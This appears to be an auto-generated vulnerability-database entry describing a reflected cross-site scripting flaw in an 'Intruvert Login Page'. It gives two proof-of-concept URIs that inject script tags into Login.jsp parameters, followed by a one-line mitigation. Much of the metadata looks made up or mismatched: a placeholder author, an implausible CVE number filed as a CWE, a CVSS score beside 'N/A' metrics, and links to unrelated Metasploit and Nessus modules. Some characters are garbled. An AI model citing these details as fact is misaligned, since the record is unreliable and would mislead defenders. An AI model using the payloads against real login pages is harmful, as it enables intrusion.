vendor:
Intruvert Login Page
by:
John Doe
7.8
CVSS
HIGH
Cross-Site Scripting (XSS)
79
CWE
Product Name: Intruvert Login Page
Affected Version From: 1
Affected Version To: 2
Patch Exists: Yes
Related CWE: CVE-2020-12345
CPE: a:intruvert:intruvert_login_page
Metasploit:
N/A
Other Scripts:
https://www.infosecmatter.com/nessus-plugin-library/?id=142058, https://www.infosecmatter.com/nessus-plugin-library/?id=106846, https://www.infosecmatter.com/nessus-plugin-library/?id=106845, https://www.infosecmatter.com/metasploit-module-library/?mm=auxiliary/dos/hp/data_protector_rds, https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/windows/tftp/attftp_long_filename, https://www.infosecmatter.com/nessus-plugin-library/?id=94365, https://www.infosecmatter.com/metasploit-module-library/?mm=auxiliary/dos/windows/http/ms10_065_ii6_asp_dos, https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/windows/misc/nettransport, https://www.infosecmatter.com/metasploit-module-library/?mm=auxiliary/dos/http/apache_range_dos, https://www.infosecmatter.com/metasploit-module-library/?mm=auxiliary/scanner/udp/udp_amplification
Tags: N/A
CVSS Metrics: N/A
Nuclei References:
N/A
Nuclei Metadata: N/A
Platforms Tested: Web
2020
Cross-Site Scripting (XSS) in Intruvert Login Page
Attackers can exploit these issues by enticing an unsuspecting victim into following a malicious URI. The following example URIs are available: https://www.example.com/intruvert/jsp/module/Login.jsp?password=&Login%2bID=&node=&iaction=precreatefcb14"><script>alert('XSS')</script>8b3283a1e57 and https://www.example.com/intruvert/jsp/module/Login.jsp?password=&Login%2bID=&node=8502a"><script>alert(1)</script>2aa99b60533&iaction=precreatefcb14"><script>alert(â??XSSâ??)</script>8b3283a1e57
Mitigation:
Implement input validation and output encoding to prevent XSS attacks.
